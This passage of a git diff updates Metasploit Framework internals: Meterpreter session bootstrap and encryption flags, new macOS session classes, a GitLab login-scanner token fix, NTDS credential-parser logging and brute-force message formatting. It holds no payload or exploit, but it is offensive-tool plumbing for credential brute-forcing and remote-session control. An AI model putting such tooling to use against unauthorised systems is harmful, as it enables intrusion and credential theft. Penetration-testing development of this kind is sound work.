-#     # Used in simplecov_setup so that each scenario has a different name and their coverage results are merged instead
-#     # of overwriting each other as 'Cucumber Features'
-#     set_env('SIMPLECOV_COMMAND_NAME', command_name)
-#
-#     simplecov_setup_pathname = Pathname.new(__FILE__).expand_path.parent.join('simplecov_setup')
-#     # set environment variable so child processes will merge their coverage data with parent process's coverage data.
-#     set_env('RUBYOPT', "#{ENV['RUBYOPT']} -r#{simplecov_setup_pathname}")
-#   end
-#
-#   Before('@db') do |scenario|
-#     dbconfig = YAML::load(File.open(Metasploit::Framework::Database.configurations_pathname))
-#     ActiveRecord::Base.establish_connection(dbconfig["test"])
-#   end
-# end
diff --git a/features/support/simplecov_setup.rb b/features/support/simplecov_setup.rb
deleted file mode 100644
index 78cc264fc3..0000000000
--- a/features/support/simplecov_setup.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# @note this file is loaded in env.rb to setup simplecov using RUBYOPTs for child processes
-
-simplecov_command_name = ENV['SIMPLECOV_COMMAND_NAME']
-
-# will not be set if hook does not run because `bundle install --without coverage`
-if simplecov_command_name
-  require 'simplecov'
-
-  require 'pathname'
-
-  root = Pathname(__FILE__).expand_path.parent.parent.parent
-
-  SimpleCov.command_name(simplecov_command_name)
-  SimpleCov.root(root)
-  load root.join('.simplecov')
-end
diff --git a/features/support/stty.rb b/features/support/stty.rb
deleted file mode 100644
index a8afb704c4..0000000000
--- a/features/support/stty.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-require 'pathname'
-
-support = Pathname.new(__FILE__).realpath.parent
-
-paths = [
-    # adds support/bin at the front of the path so that the support/bin/stty script will be used to fake system stty
-    # output.
-    support.join('bin').to_path,
-    ENV['PATH']
-]
-ENV['PATH'] = paths.join(File::PATH_SEPARATOR)
diff --git a/features/support/targets.yml.example b/features/support/targets.yml.example
deleted file mode 100644
index 0752a6cc7e..0000000000
--- a/features/support/targets.yml.example
+++ /dev/null
@@ -1,7 +0,0 @@
-windows:
-  -
-    hostname: wxpsp0
-    ip: 127.0.0.100
-  -
-    hostname: wxpsp2
-    ip: 127.0.0.101
diff --git a/lib/metasploit/framework/database/cucumber.rb b/lib/metasploit/framework/database/cucumber.rb
deleted file mode 100644
index 562504c88b..0000000000
--- a/lib/metasploit/framework/database/cucumber.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-require 'metasploit/framework/database'
-
-module Metasploit::Framework::Database::Cucumber
-  def self.project_configurations_path
-    Rails.root.join('config', 'database.yml').to_path
-  end
-
-  def self.backup_project_configurations
-    if File.exist?(project_configurations_path)
-      # assume that the backup file is from a previously aborted run and it contains the real database.yml data, so
-      # just delete the fake database.yml and the After hook will restore the real database.yml from the backup location
-      if File.exist?(backup_project_configurations_path)
-        File.delete(project_configurations_path)
-      else
-        # project contains the real database.yml and there was no previous, aborted run.
-        File.rename(project_configurations_path, backup_project_configurations_path)
-      end
-    end
-  end
-
-  def self.backup_project_configurations_path
-    "#{project_configurations_path}.cucumber.bak"
-  end
-
-  def self.restore_project_configurations
-    if File.exist?(backup_project_configurations_path)
-      if File.exist?(project_configurations_path)
-        # Remove fake, leftover database.yml
-        File.delete(project_configurations_path)
-      end
-
-      File.rename(backup_project_configurations_path, project_configurations_path)
-    end
-  end
-end
-
diff --git a/lib/metasploit/framework/login_scanner/gitlab.rb b/lib/metasploit/framework/login_scanner/gitlab.rb
index 648151d13a..d895591d25 100644
--- a/lib/metasploit/framework/login_scanner/gitlab.rb
+++ b/lib/metasploit/framework/login_scanner/gitlab.rb
@@ -61,6 +61,10 @@ module Metasploit
             local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
             auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
 
+            # New versions of GitLab use an alternative scheme
+            # Try it, if the old one was not successfull
+            auth_token = res.body.scan(/<input type="hidden" name="authenticity_token" value="(.*?)"/).flatten[0] unless auth_token
+
             fail RuntimeError, 'Unable to get Session Cookie' unless local_session_cookie
             fail RuntimeError, 'Unable to get Authentication Token' unless auth_token
 
diff --git a/lib/metasploit/framework/ntds/account.rb b/lib/metasploit/framework/ntds/account.rb
index af2ecfcb77..62067abb0e 100644
--- a/lib/metasploit/framework/ntds/account.rb
+++ b/lib/metasploit/framework/ntds/account.rb
@@ -137,7 +137,7 @@ module Metasploit
         end
 
         def get_string(data,length)
-          data.slice!(0,length).gsub(/\x00/,'')
+          data.slice!(0,length).force_encoding("UTF-8").gsub(/\x00/,'')
         end
 
         def uac_string
diff --git a/lib/metasploit/framework/ntds/parser.rb b/lib/metasploit/framework/ntds/parser.rb
index 7c4d91890c..0ea69821cc 100644
--- a/lib/metasploit/framework/ntds/parser.rb
+++ b/lib/metasploit/framework/ntds/parser.rb
@@ -50,11 +50,13 @@ module Metasploit
 
         def pull_batch
           if channel.cid.nil?
+            dlog("NTDS Parser Channel was closed, reopening")
             reopen_channel
           end
           begin
             raw_batch_data = channel.read(BATCH_SIZE)
-          rescue EOFError
+          rescue EOFError => e
+            elog("NTDS Parser: Error pulling batch - #{e}")
             raw_batch_data = nil
           end
           raw_batch_data
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index 7a3527a190..744c1782e1 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -30,7 +30,7 @@ module Metasploit
         end
       end
 
-      VERSION = "4.14.25"
+      VERSION = "4.16.11"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash
diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb
index 4a89ca1c2b..edd82099e9 100644
--- a/lib/msf/base/serializer/readable_text.rb
+++ b/lib/msf/base/serializer/readable_text.rb
@@ -539,8 +539,10 @@ class ReadableText
 
     columns = []
     columns << 'Id'
+    columns << 'Name'
     columns << 'Type'
     columns << 'Checkin?' if show_extended
+    columns << 'Enc?' if show_extended
     columns << 'Local URI' if show_extended
     columns << 'Information'
     columns << 'Connection'
@@ -561,6 +563,7 @@ class ReadableText
 
       row = []
       row << session.sid.to_s
+      row << session.sname.to_s
       row << session.type.to_s
       if session.respond_to?(:session_type)
         row[-1] << (" " + session.session_type)
@@ -575,7 +578,13 @@ class ReadableText
           row << '?'
         end
 
-        if session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty?
+        if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key]
+          row << "Y"
+        else
+          row << 'N'
+        end
+
+        if session.exploit_datastore && session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty?
           row << " (#{session.exploit_datastore['LURI']})"
         else
           row << '?'
@@ -610,19 +619,23 @@ class ReadableText
 
       sess_info    = session.info.to_s
       sess_id      = session.sid.to_s
+      sess_name    = session.sname.to_s
       sess_tunnel  = session.tunnel_to_s + " (#{session.session_host})"
       sess_via     = session.via_exploit.to_s
       sess_type    = session.type.to_s
       sess_uuid    = session.payload_uuid.to_s
       sess_puid    = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
-      sess_luri    = session.exploit_datastore['LURI'] || ""
+      sess_luri    = session.exploit_datastore['LURI'] || "" if session.exploit_datastore
+      sess_enc     = false
+      if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key]
+        sess_enc   = true
+      end
 
       sess_checkin = "<none>"
-      sess_machine_id = session.machine_id.to_s
       sess_registration = "No"
 
-      if session.respond_to? :platform
-        sess_type << (" " + session.platform)
+      if session.respond_to?(:platform)
+        sess_type << " " + session.platform
       end
 
       if session.respond_to?(:last_checkin) && session.last_checkin
@@ -637,20 +650,19 @@ class ReadableText
       end
 
       out << "  Session ID: #{sess_id}\n"
+      out << "        Name: #{sess_name}\n"
       out << "        Type: #{sess_type}\n"
       out << "        Info: #{sess_info}\n"
       out << "      Tunnel: #{sess_tunnel}\n"
       out << "         Via: #{sess_via}\n"
+      out << "   Encrypted: #{sess_enc}\n"
       out << "        UUID: #{sess_uuid}\n"
-      out << "   MachineID: #{sess_machine_id}\n"
       out << "     CheckIn: #{sess_checkin}\n"
       out << "  Registered: #{sess_registration}\n"
-      if !sess_luri.empty?
+      unless (sess_luri || '').empty?
         out << "        LURI: #{sess_luri}\n"
       end
 
-
-
       out << "\n"
     end
 
diff --git a/lib/msf/base/sessions/command_shell_options.rb b/lib/msf/base/sessions/command_shell_options.rb
index 2cf3300047..53868726ed 100644
--- a/lib/msf/base/sessions/command_shell_options.rb
+++ b/lib/msf/base/sessions/command_shell_options.rb
@@ -4,7 +4,7 @@
 # This file is part of the Metasploit Framework and may be subject to
 # redistribution and commercial restrictions. Please see the Metasploit
 # Framework web site for more information on licensing and terms of use.
-# http://metasploit.com/framework/
+# https://metasploit.com/framework/
 ##
 
 
diff --git a/lib/msf/base/sessions/hwbridge.rb b/lib/msf/base/sessions/hwbridge.rb
index 171d8b9464..e04e7609ed 100644
--- a/lib/msf/base/sessions/hwbridge.rb
+++ b/lib/msf/base/sessions/hwbridge.rb
@@ -196,6 +196,10 @@ class HWBridge  < Rex::Post::HWBridge::Client
 
   attr_accessor :console # :nodoc:
   attr_accessor :alive # :nodoc:
+  attr_accessor :api_version
+  attr_accessor :fw_version
+  attr_accessor :hw_version
+  attr_accessor :device_name
 private
   attr_accessor :rstream # :nodoc:
 
diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb
index d17ee6edd7..110e1fef3d 100644
--- a/lib/msf/base/sessions/meterpreter.rb
+++ b/lib/msf/base/sessions/meterpreter.rb
@@ -40,6 +40,14 @@ class Meterpreter < Rex::Post::Meterpreter::Client
     true
   end
 
+  def tunnel_to_s
+    if self.pivot_session
+      "Pivot via [#{self.pivot_session.tunnel_to_s}]"
+    else
+      super
+    end
+  end
+
   #
   # Initializes a meterpreter session instance using the supplied rstream
   # that is to be used as the client's connection to the server.
@@ -112,6 +120,80 @@ class Meterpreter < Rex::Post::Meterpreter::Client
 
   end
 
+  def bootstrap(datastore = {}, handler = nil)
+    session = self
+
+    init_session = Proc.new do
+      # Configure unicode encoding before loading stdapi
+      session.encode_unicode = datastore['EnableUnicodeEncoding']
+
+      session.init_ui(self.user_input, self.user_output)
+
+      session.tlv_enc_key = session.core.negotiate_tlv_encryption
+
+      unless datastore['AutoVerifySession'] == false
+        unless session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i)
+          print_error("Meterpreter session #{session.sid} is not valid and will be closed")
+          # Terminate the session without cleanup if it did not validate
+          session.skip_cleanup = true
+          session.kill
+          return nil
+        end
+      end
+
+      # always make sure that the new session has a new guid if it's not already known
+      guid = session.session_guid
+      if guid == "\x00" * 16
+        guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
+        session.core.set_session_guid(guid)
+        session.session_guid = guid
+        # TODO: New statgeless session, do some account in the DB so we can track it later.
+      else
+        # TODO: This session was either staged or previously known, and so we shold do some accounting here!
+      end
+
+      unless datastore['AutoLoadStdapi'] == false
+
+        session.load_stdapi
+
+        unless datastore['AutoSystemInfo'] == false
+          session.load_session_info
+        end
+
+        # only load priv on native windows
+        # TODO: abastrct this too, to remove windows stuff
+        if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch)
+          session.load_priv rescue nil
+        end
+      end
+
+      # TODO: abstract this a little, perhaps a "post load" function that removes
+      # platform-specific stuff?
+      if session.platform == 'android'
+        session.load_android
+      end
+
+      ['InitialAutoRunScript', 'AutoRunScript'].each do |key|
+        unless datastore[key].nil? || datastore[key].empty?
+          args = Shellwords.shellwords(datastore[key])
+          print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
+          session.execute_script(args.shift, *args)
+        end
+      end
+
+      # Process the auto-run scripts for this session
+      if self.respond_to?(:process_autoruns)
+        self.process_autoruns(datastore)
+      end
+
+      # Tell the handler that we have a session
+      handler.on_session(self) if handler
+    end
+
+    # Defer the session initialization to the Session Manager scheduler
+    framework.sessions.schedule init_session
+  end
+
   ##
   # :category: Msf::Session::Provider::SingleCommandShell implementors
   #
@@ -255,14 +337,14 @@ class Meterpreter < Rex::Post::Meterpreter::Client
   #
   # Terminates the session
   #
-  def kill
+  def kill(reason='')
     begin
       cleanup_meterpreter
       self.sock.close if self.sock
     rescue ::Exception
     end
     # deregister will actually trigger another cleanup
-    framework.sessions.deregister(self)
+    framework.sessions.deregister(self, reason)
   end
 
   #
diff --git a/lib/msf/base/sessions/meterpreter_multi.rb b/lib/msf/base/sessions/meterpreter_multi.rb
index 44ba0a0522..0d8a3f154b 100644
--- a/lib/msf/base/sessions/meterpreter_multi.rb
+++ b/lib/msf/base/sessions/meterpreter_multi.rb
@@ -31,7 +31,7 @@ class Meterpreter_Multi < Msf::Sessions::Meterpreter
       return Msf::Sessions::Meterpreter_Java_Android.new(rstream, opts)
     when 'php'
       require 'msf/base/sessions/meterpreter_php'
-      return Msf::Sessions::Meterpreter_Php_Java.new(rstream, opts)
+      return Msf::Sessions::Meterpreter_Php_Php.new(rstream, opts)
     when 'windows'
       if opts[:payload_uuid].arch == ARCH_X86
         require 'msf/base/sessions/meterpreter_x86_win'
@@ -42,6 +42,8 @@ class Meterpreter_Multi < Msf::Sessions::Meterpreter
     end
 
     # TODO: what should we do when we get here?
+    # For now lets return a generic for basic functionality with http(s) communication
+    Msf::Sessions::Meterpreter.new(rstream, opts)
   end
 end
 
diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb
index a9dcf83be4..09c8a97eff 100644
--- a/lib/msf/base/sessions/meterpreter_options.rb
+++ b/lib/msf/base/sessions/meterpreter_options.rb
@@ -3,93 +3,74 @@
 require 'shellwords'
 
 module Msf
-module Sessions
-module MeterpreterOptions
+  module Sessions
+    #
+    # Defines common options across all Meterpreter implementations
+    #
+    module MeterpreterOptions
 
-  def initialize(info = {})
-    super(info)
+      TIMEOUT_SESSION = 24 * 3600 * 7  # 1 week
+      TIMEOUT_COMMS = 300              # 5 minutes
+      TIMEOUT_RETRY_TOTAL = 60 * 60    # 1 hour
+      TIMEOUT_RETRY_WAIT = 10          # 10 seconds
 
-    register_advanced_options(
-      [
-        OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]),
-        OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]),
-        OptInt.new('AutoVerifySessionTimeout', [false, "Timeout period to wait for session validation to occur, in seconds", 30]),
-        OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
-        OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
-        OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
-        OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
-        OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]),
-        OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]),
-        OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]),
-        OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]),
-        OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', Rex::Post::Meterpreter::ClientCore::TIMEOUT_COMMS])
-      ], self.class)
+      def initialize(info = {})
+        super(info)
+
+        register_advanced_options(
+          [
+            OptBool.new(
+              'AutoLoadStdapi',
+              [true, "Automatically load the Stdapi extension", true]
+            ),
+            OptBool.new(
+              'AutoVerifySession',
+              [true, "Automatically verify and drop invalid sessions", true]
+            ),
+            OptInt.new(
+              'AutoVerifySessionTimeout',
+              [false, "Timeout period to wait for session validation to occur, in seconds", 30]
+            ),
+            OptString.new(
+              'InitialAutoRunScript',
+              [false, "An initial script to run on session creation (before AutoRunScript)", '']
+            ),
+            OptString.new(
+              'AutoRunScript',
+              [false, "A script to run automatically on session creation.", '']
+            ),
+            OptBool.new(
+              'AutoSystemInfo',
+              [true, "Automatically capture system information on initialization.", true]
+            ),
+            OptBool.new(
+              'EnableUnicodeEncoding',
+              [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]
+            ),
+            OptPath.new(
+              'HandlerSSLCert',
+              [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]
+            ),
+            OptInt.new(
+              'SessionRetryTotal',
+              [false, "Number of seconds try reconnecting for on network failure", TIMEOUT_RETRY_TOTAL]
+            ),
+            OptInt.new(
+              'SessionRetryWait',
+              [false, "Number of seconds to wait between reconnect attempts", TIMEOUT_RETRY_WAIT]
+            ),
+            OptInt.new(
+              'SessionExpirationTimeout',
+              [ false, 'The number of seconds before this session should be forcibly shut down', TIMEOUT_SESSION]
+            ),
+            OptInt.new(
+              'SessionCommunicationTimeout',
+              [ false, 'The number of seconds of no activity before this session should be killed', TIMEOUT_COMMS]
+            )
+          ],
+          self.class
+        )
+      end
+    end
   end
-
-  #
-  # Once a session is created, automatically load the stdapi extension if the
-  # advanced option is set to true.
-  #
-  def on_session(session)
-    super
-
-    # Defer the session initialization to the Session Manager scheduler
-    framework.sessions.schedule Proc.new {
-
-    # Configure unicode encoding before loading stdapi
-    session.encode_unicode = datastore['EnableUnicodeEncoding']
-
-    session.init_ui(self.user_input, self.user_output)
-
-    valid = true
-
-    if datastore['AutoVerifySession']
-      if not session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i)
-        print_error("Meterpreter session #{session.sid} is not valid and will be closed")
-        valid = false
-      end
-    end
-
-    if valid
-
-      if datastore['AutoLoadStdapi']
-
-        session.load_stdapi
-
-        if datastore['AutoSystemInfo']
-          session.load_session_info
-        end
-
-        # only load priv on native windows
-        if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch)
-          session.load_priv rescue nil
-        end
-      end
-
-      if session.platform == 'android'
-        session.load_android
-      end
-
-      [ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
-        if !datastore[key].empty?
-          args = Shellwords.shellwords( datastore[key] )
-          print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'")
-          session.execute_script(args.shift, *args)
-        end
-      end
-    end
-
-    # Terminate the session without cleanup if it did not validate
-    if not valid
-      session.skip_cleanup = true
-      session.kill
-    end
-
-    }
-
-  end
-
 end
-end
-end
-
diff --git a/lib/msf/base/sessions/meterpreter_x64_osx.rb b/lib/msf/base/sessions/meterpreter_x64_osx.rb
new file mode 100644
index 0000000000..2e507e9055
--- /dev/null
+++ b/lib/msf/base/sessions/meterpreter_x64_osx.rb
@@ -0,0 +1,29 @@
+# -*- coding: binary -*-
+
+require 'msf/base/sessions/meterpreter'
+
+module Msf
+module Sessions
+
+###
+#
+# This class creates a platform-specific meterpreter session type
+#
+###
+class Meterpreter_x64_OSX < Msf::Sessions::Meterpreter
+  def supports_ssl?
+    false
+  end
+  def supports_zlib?
+    false
+  end
+  def initialize(rstream, opts={})
+    super
+    self.base_platform = 'osx'
+    self.base_arch = ARCH_X64
+  end
+end
+
+end
+end
+
diff --git a/lib/msf/base/sessions/meterpreter_x64_win.rb b/lib/msf/base/sessions/meterpreter_x64_win.rb
index bfd53a09a5..14ad589896 100644
--- a/lib/msf/base/sessions/meterpreter_x64_win.rb
+++ b/lib/msf/base/sessions/meterpreter_x64_win.rb
@@ -21,6 +21,10 @@ class Meterpreter_x64_Win < Msf::Sessions::Meterpreter
   def lookup_error(code)
     Msf::WindowsError.description(code)
   end
+
+  def supports_ssl?
+    false
+  end
 end
 
 end
diff --git a/lib/msf/base/sessions/meterpreter_x86_osx.rb b/lib/msf/base/sessions/meterpreter_x86_osx.rb
new file mode 100644
index 0000000000..c7e25efac9
--- /dev/null
+++ b/lib/msf/base/sessions/meterpreter_x86_osx.rb
@@ -0,0 +1,29 @@
+# -*- coding: binary -*-
+
+require 'msf/base/sessions/meterpreter'
+
+module Msf
+module Sessions
+
+###
+#
+# This class creates a platform-specific meterpreter session type
+#
+###
+class Meterpreter_x86_OSX < Msf::Sessions::Meterpreter
+  def supports_ssl?
+    false
+  end
+  def supports_zlib?
+    false
+  end
+  def initialize(rstream, opts={})
+    super
+    self.base_platform = 'osx'
+    self.base_arch = ARCH_X86
+  end
+end
+
+end
+end
+
diff --git a/lib/msf/base/sessions/meterpreter_x86_win.rb b/lib/msf/base/sessions/meterpreter_x86_win.rb
index 142b52481d..c2de448301 100644
--- a/lib/msf/base/sessions/meterpreter_x86_win.rb
+++ b/lib/msf/base/sessions/meterpreter_x86_win.rb
@@ -21,6 +21,10 @@ class Meterpreter_x86_Win < Msf::Sessions::Meterpreter
   def lookup_error(code)
     Msf::WindowsError.description(code)
   end
+
+  def supports_ssl?
+    false
+  end
 end
 
 end
diff --git a/lib/msf/base/sessions/mettle_config.rb b/lib/msf/base/sessions/mettle_config.rb
index c57c13b8b2..f135818614 100644
--- a/lib/msf/base/sessions/mettle_config.rb
+++ b/lib/msf/base/sessions/mettle_config.rb
@@ -3,6 +3,7 @@
 require 'msf/core/payload/transport_config'
 require 'msf/core/payload/uuid/options'
 require 'base64'
+require 'securerandom'
 
 module Msf
   module Sessions
@@ -53,6 +54,7 @@ module Msf
 
       def generate_config(opts={})
         opts[:uuid] ||= generate_payload_uuid
+
         case opts[:scheme]
         when 'http'
           transport = transport_config_reverse_http(opts)
@@ -66,8 +68,15 @@ module Msf
         else
           raise ArgumentError, "Unknown scheme: #{opts[:scheme]}"
         end
+
         opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip
-        opts.slice(:uuid, :uri, :debug, :log_file)
+        guid = "\x00" * 16
+        unless opts[:stageless] == true
+          guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
+        end
+        opts[:session_guid] = Base64.encode64(guid)
+
+        opts.slice(:uuid, :session_guid, :uri, :debug, :log_file)
       end
 
     end
diff --git a/lib/msf/base/simple/auxiliary.rb b/lib/msf/base/simple/auxiliary.rb
index 35f5ec96f3..de8930ce02 100644
--- a/lib/msf/base/simple/auxiliary.rb
+++ b/lib/msf/base/simple/auxiliary.rb
@@ -138,6 +138,14 @@ protected
       mod.setup
       mod.framework.events.on_module_run(mod)
       mod.run
+    rescue Msf::Auxiliary::Complete
+      mod.cleanup
+      return
+    rescue Msf::Auxiliary::Failed => e
+      mod.error = e
+      mod.print_error("Auxiliary aborted due to failure: #{e.message}")
+      mod.cleanup
+      return
     rescue ::Timeout::Error => e
       mod.error = e
       mod.print_error("Auxiliary triggered a timeout exception")
diff --git a/lib/msf/base/simple/post.rb b/lib/msf/base/simple/post.rb
index 9cda2a1338..69554992c1 100644
--- a/lib/msf/base/simple/post.rb
+++ b/lib/msf/base/simple/post.rb
@@ -108,6 +108,14 @@ protected
         mod.cleanup
         return
       end
+    rescue Msf::Post::Complete
+      mod.cleanup
+      return
+    rescue Msf::Post::Failed => e
+      mod.error = e
+      mod.print_error("Post aborted due to failure: #{e.message}")
+      mod.cleanup
+      return
     rescue ::Timeout::Error => e
       mod.error = e
       mod.print_error("Post triggered a timeout exception")
diff --git a/lib/msf/core/auxiliary.rb b/lib/msf/core/auxiliary.rb
index 5f542c5d43..2aea6da3b1 100644
--- a/lib/msf/core/auxiliary.rb
+++ b/lib/msf/core/auxiliary.rb
@@ -15,6 +15,12 @@ class Auxiliary < Msf::Module
 
   require 'msf/core/auxiliary/mixins'
 
+  class Complete < RuntimeError
+  end
+
+  class Failed < RuntimeError
+  end
+
   include HasActions
 
   #
@@ -152,6 +158,11 @@ class Auxiliary < Msf::Module
     }
   end
 
+  # Override Msf::Module#fail_with for Msf::Simple::Auxiliary::job_run_proc
+  def fail_with(reason, msg = nil)
+    raise Msf::Auxiliary::Failed, "#{reason.to_s}: #{msg}"
+  end
+
   attr_accessor :queue
 
 protected
diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb
index defde2af90..03b045aa0a 100644
--- a/lib/msf/core/auxiliary/auth_brute.rb
+++ b/lib/msf/core/auxiliary/auth_brute.rb
@@ -362,7 +362,6 @@ module Auxiliary::AuthBrute
   # Note, these special username/passwords should get deprecated
   # some day. Note2: Don't use with SMB and FTP at the same time!
   def translate_proto_datastores
-    switched = false
     ['SMBUser','FTPUSER'].each do |u|
       if datastore[u] and !datastore[u].empty?
         datastore['USERNAME'] = datastore[u]
@@ -547,6 +546,20 @@ module Auxiliary::AuthBrute
     end
   end
 
+  def vprint_status(msg='')
+    print_brute :level => :vstatus, :msg => msg
+  end
+
+  def vprint_error(msg='')
+    print_brute :level => :verror, :msg => msg
+  end
+
+  alias_method :vprint_bad, :vprint_error
+
+  def vprint_good(msg='')
+    print_brute :level => :vgood, :msg => msg
+  end
+
   # Provides a consistant way to display messages about AuthBrute-mixed modules.
   # Acceptable opts are fairly self-explanatory, but :level can be tricky.
   #
@@ -568,10 +581,10 @@ module Auxiliary::AuthBrute
     end
     host_ip = opts[:ip] || opts[:rhost] || opts[:host] || (rhost rescue nil) || datastore['RHOST']
     host_port = opts[:port] || opts[:rport] || (rport rescue nil) || datastore['RPORT']
-    msg = opts[:msg] || opts[:message] || opts[:legacy_msg]
+    msg = opts[:msg] || opts[:message]
     proto = opts[:proto] || opts[:protocol] || proto_from_fullname
 
-    complete_message = build_brute_message(host_ip,host_port,proto,msg,!!opts[:legacy_msg])
+    complete_message = build_brute_message(host_ip,host_port,proto,msg)
 
     print_method = "print_#{level}"
     if self.respond_to? print_method
@@ -582,34 +595,24 @@ module Auxiliary::AuthBrute
   end
 
   # Depending on the non-nil elements, build up a standardized
-  # auth_brute message, but support the old style used by
-  # vprint_status and friends as well.
-  def build_brute_message(host_ip,host_port,proto,msg,legacy)
+  # auth_brute message.
+  def build_brute_message(host_ip,host_port,proto,msg)
     ip = host_ip.to_s.strip if host_ip
     port = host_port.to_s.strip if host_port
     complete_message = nil
-    extracted_message = nil
-    if legacy # TODO: This is all a workaround until I get a chance to get rid of the legacy messages
-      old_msg = msg.to_s.strip
-      msg_regex = /(#{ip})(:#{port})?(\s*-?\s*)(#{proto.to_s})?(\s*-?\s*)(.*)/ni
-      if old_msg.match(msg_regex) and !old_msg.match(msg_regex)[6].to_s.strip.empty?
-        complete_message = ''
-        unless ip.blank? && port.blank?
-          complete_message << "#{ip}:#{rport}"
-        else
-          complete_message << (old_msg.match(msg_regex)[4] || proto).to_s
-        end
-
-        complete_message << " - "
-        progress = tried_over_total(ip,port)
-        complete_message << progress if progress
-        complete_message << old_msg.match(msg_regex)[6].to_s.strip
-      else
-        complete_message = msg.to_s.strip
-      end
+    old_msg = msg.to_s.strip
+    msg_regex = /(#{ip})(:#{port})?(\s*-?\s*)(#{proto.to_s})?(\s*-?\s*)(.*)/ni
+    if old_msg.match(msg_regex)
+      complete_message = msg.to_s.strip
     else
       complete_message = ''
-      complete_message << "#{proto.to_s.strip} - " if proto
+      unless ip.blank? && port.blank?
+        complete_message << "#{ip}:#{port}"
+      else
+        complete_message << proto || 'Bruteforce'
+      end
+
+      complete_message << " - "
       progress = tried_over_total(ip,port)
       complete_message << progress if progress
       complete_message << msg.to_s.strip
@@ -657,23 +660,6 @@ module Auxiliary::AuthBrute
     File.split(self.fullname).last.match(/^(.*)_(login|auth|identify)/)[1].upcase rescue nil
   end
 
-  # Legacy vprint
-  def vprint_status(msg='')
-    print_brute :level => :vstatus, :legacy_msg => msg
-  end
-
-  # Legacy vprint
-  def vprint_error(msg='')
-    print_brute :level => :verror, :legacy_msg => msg
-  end
-
-  alias_method :vprint_bad, :vprint_error
-
-  # Legacy vprint
-  def vprint_good(msg='')
-    print_brute :level => :vgood, :legacy_msg => msg
-  end
-
   # This method deletes the dictionary files if requested
   def cleanup_files
     path = datastore['USERPASS_FILE']
diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb
index 5c8efdade8..b866b5091f 100644
--- a/lib/msf/core/auxiliary/login.rb
+++ b/lib/msf/core/auxiliary/login.rb
@@ -44,6 +44,7 @@ module Auxiliary::Login
         Unable    | Error    | Denied    | Reject   |
         Refuse    | Close    | Closing   | %\ Bad   |
         Sorry     |
+        ^http | html |
         Not\ on\ system\ console |
         Enter\ username\ and\ password |
         Auto\ Apply\ On |
diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb
index e074c8b2b5..af531e7163 100644
--- a/lib/msf/core/auxiliary/report.rb
+++ b/lib/msf/core/auxiliary/report.rb
@@ -274,7 +274,28 @@ module Auxiliary::Report
         :workspace => myworkspace,
         :task => mytask
     }.merge(opts)
-    framework.db.report_vuln(opts)
+    vuln = framework.db.report_vuln(opts)
+
+    # add vuln attempt audit details here during report
+
+    timestamp  = opts[:timestamp]
+    username   = opts[:username]
+    mname      = self.fullname # use module name when reporting attempt for correlation
+
+    # report_vuln is only called in an identified case, consider setting value reported here
+    attempt_info = {
+        :vuln_id      => vuln.id,
+        :attempted_at => timestamp || Time.now.utc,
+        :exploited    => false,
+        :fail_detail  => 'vulnerability identified',
+        :fail_reason  => 'Untried', # Mdm::VulnAttempt::Status::UNTRIED, avoiding direct dependency on Mdm, used elsewhere in this module
+        :module       => mname,
+        :username     => username  || "unknown",
+    }
+
+    vuln.vuln_attempts.create(attempt_info)
+
+    vuln
   end
 
   # This will simply log a deprecation warning, since report_exploit()
